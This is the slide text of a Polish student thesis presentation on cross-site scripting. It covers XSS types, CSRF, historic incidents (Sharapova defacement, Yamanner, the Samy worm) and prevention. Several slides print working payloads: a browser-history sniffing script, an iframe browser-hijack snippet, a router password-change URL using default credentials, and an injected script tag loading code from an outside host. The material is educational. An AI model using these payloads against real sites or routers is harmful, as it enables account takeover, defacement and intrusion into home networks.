ATAKI TYPU CROSS-SITE SCRIPTING Michał Korecki Kierujący pracą: prof. dr hab. inż. Zbigniew Kotulski
PLAN PREZENTACJI 1. Cel pracy i motywacja 2. Co to jest XSS? 3. Praca 4. Przykłady
CEL PRACY I MOTYWACJA Cel: Zdefiniowanie narzędzi służących testowaniu i zabezpieczeo aplikacji internetowych Zapoznanie z metodami przeprowadzania ataków XSS Analiza zagrożeo będących konsekwencją udanego ataku XSS Opracowanie zaleceo i rad zwiększających bezpieczeostwo aplikacji internetowych oraz zwykłych użytkowników Motywacja: Ataki XSS są niedocenianą metodą przeprowadzania ataków Brak poważnej literatury w języku polskim traktującej o XSS
MOTYWACJA
CROSS-SITE SCRIPTING Osadzenie w treści strony kodu (zazwyczaj JavaScript), który wyświetlony innym żytkownikom może doprowadzid do wykonania przez nich niepożądanych akcji. Atak na użytkownika, nie na serwer aplikacji. Serwer jest pośrednikiem. Cross-Site Scripting = XSS Cascading Style Sheets = CSS
JAK TO NAZWAĆ? Unauthorized Site Scripting Unofficial Site Scripting Uniform Resource Locator (URL) Parameter Script Insertion Cross-Site Scripting Synthesized Scripting Fraudulent Scripting fraudulent oszukaoczy, fałszywy, nieuczciwy
TYPY ATAKÓW XSS Non-persistent XSS Persistent XSS DOM-Based XSS Przekierowania CSRF Inne (PDF, CSS, obrazki, omijanie filtrów danych)
NON-PERSISTENT XSS
PERSISTENT XSS
CSRF CROSS SITE REQUEST FORGERY
PRZYKŁADOWE ATAKI Kradzież historii Stałe zalogowanie Atak na intranet Przejęcie przeglądarki Skanowanie wewnętrznej sieci Zdalna zmiana hasła routera w wewnętrznej sieci Wymazywanie strony
KRADZIEŻ HISTORII var websites = [ "http://www.google.pl", http://www.wp.pl ]; var link = document.createelement("a"); link.href = websites[0]; link.innerhtml = websites[0]; document.body.appendchild(link); var color = document.defaultview.getcomputedstyle(link,null).getpropertyvalue("color"); if(color == "rgb(85, 26, 139)") {... }
KRADZIEŻ HISTORII CD
STAŁE ZALOGOWANIE Wykorzystanie konsoli błędów JavaScript <script src= http://mail.google.com/mail/ >
ATAK NA INTRANET Scenariusz: Ofiara odwiedza zainfekowaną stronę lub klika w spreparowany link Ujawnienie wewnętrznego adresu IP ofiary Odkrycie interfejsów maszyn istniejących w sieci Przeprowadzenie dokładnych ataków
ATAK NA INTRANET CD Przejęcie kontroli nad przeglądarką = dostęp do cookies, monitorowanie danych wprowadzanych za pomocą klawiatury, wiedza o odwiedzanych stronach. Zapewnienie ciągłej kontroli nad przeglądarką dzięki odpowiednio przygotowanej ramce iframe.
ATAK NA INTRANET CD var iframe = document.createelement("iframe"); iframe.setattribute("src","/"); iframe.setattribute("id",'watched'); iframe.setattribute("frameborder", "0"); iframe.setattribute("onload","readviewport()"); iframe.setattribute("scrolling","no"); iframe.setattribute("onunload",""); iframe.style.border = '0px'; iframe.style.left = '0px'; iframe.style.top = '0px'; iframe.style.width = (window.innerwidth - 20) + 'px'; iframe.style.height = '2000px'; iframe.style.position = 'absolute'; iframe.style.visibility = 'visible'; iframe.style.zindex = '100000'; document.body.innerhtml = ''; document.body.appendchild(iframe);
ATAK NA INTRANET CD Kolejne kroki: Funkcja przechwytująca każde kliknięcie użytkownika i przesyłająca je dalej Odkrycie odresu IP w sieci wewnętrznej applet Java (http://www.reglos.de/myaddress/myaddress.html) Skanowanie sieci wewnętrznej w poszukiwaniu działających maszyn/serwerów
ATAK NA INTRANET CD Konkretny atak: router wewnętrznej sieci LAN Zazwyczaj 192.168.0.1 lub 192.168.1.1 Login: admin Hasło: password http://admin:password@192.168.1.1 Odpowiednio spreparowane żądanie protokołu HTTP http://admin:password@192.168.1.1/password.cgi?sysoldpasswd=passw ord&sysnewpasswd=newpassword&sysconfirmpasswd=newpassw ord&cfalert_apply=apply
WYMAZYWANIE STRONY Oficjalna strona Marii Szarapowej, kwiecieo 2007 rok http://www.mariasharapova.com/defaultflash.sps?page=//%20-- %3E%3C/script%3E%3Cscript%20src=http://www.securitylab.ru/u pload/story.js%3e%3c/script%3e%3c!--&pagenumber=1 parametr page: // --></script><script src=http://www.securitylab.ru/upload/story.js></script><! Treśd umieszczona zamiast prawdziwej zawartości strony informowała fanów tenisistki, że ta rezygnuje z tenisowej kariery, ponieważ chce zostad ekspertem bezpieczeostwa oraz że poczyniła ku temu pierwsze kroki zdając egzamin CISCO CCIE.
YAMANNER (YAHOO!) Czerwiec 2006 roku Interfejs webowy kont pocztowych Yahoo! Kod umieszczony w treści wiadomości Wystarczyło otwarcie wiadomości Luka w mechanizmie sprawdzającym kod HTML i JS Mechanizm usuwał znaczniki onload i target Infekcja 200 tys. Użytkowników w 2 dni
YAMANNER (YAHOO!) CD Wprowadzony kod: <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="// złośliwy kod //"> Wynik: <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' onload="// złośliwy kod //">
SAMY IS MY HERO (MYSPACE) 4 października 2005 roku Rozprzestrzeniał się infekując profile użytkowników Wysłanie zaproszenia do autora Dodanie wpisu na profilu: but most of all, samy is my hero Każda osoba oglądająca profil stawała się ofiarą Infekcja ponad miliona użytkowników DoS
YOUTUBE (JUSTIN BIEBER) Kod w komentarzach Informacja o śmierci artysty Przekierowanie na strony pornograficzne Zablokowanie wyświetlania komentarzy po 2h
YOUTUBE (JUSTIN BIEBER) CD
ZAPOBIEGANIE ATAKOM Filtrowanie danych pochodzących od użytkownika Kod HTML dostarczany przez użytkownika Bezpieczeostwo przeglądarki internetowej Podejrzane strony WWW Poczta elektroniczna Długie i krótkie adresy URL
ADRESY I PRZEKIEROWANIA Krótkie: http://tinyurl.com/2ehb86b Długie: data:text/javascript;charset=utf- 8,%2F%2F%20Hello%20XSS%0A%2F%2F%0A%2F%2F%20%3D%3DUser Script%3D%3D%0A%2F%2F%20%40name%20Hello%20XSS%0A%2F%2 F%20%40description%20Skrypt%20zmienia%20zawartosc%20element ow%20%3ch1%3e%0a%2f%2f%20%40include%20http%3a%2f%2f*% 0A%2F%2F%20%40exclude%20http%3A%2F%2Flocalhost%2F*%0A%2F %2F%20%40exclude%20http%3A%2F%2F127.0.0.1%2F*%0A%2F%2F% 20%3D%3D%2FUserScript%3D%3D%0Avar%20h1array%20%3D%20doc ument.getelementsbytagname('h1')%3b%0afor%20(var%20i%20%3d %200%3B%20i%20%3C%20h1array.length%3B%20i%2B%2B)%0Ah1arr ay%5b0%5d.innerhtml%20%3d%20'hello%20xss'%3b%0a//.user.js Top 10: Things Only Men Can Do 98% Of people Can t STOP LAUGHING at this Video!!
DZIĘKUJĘ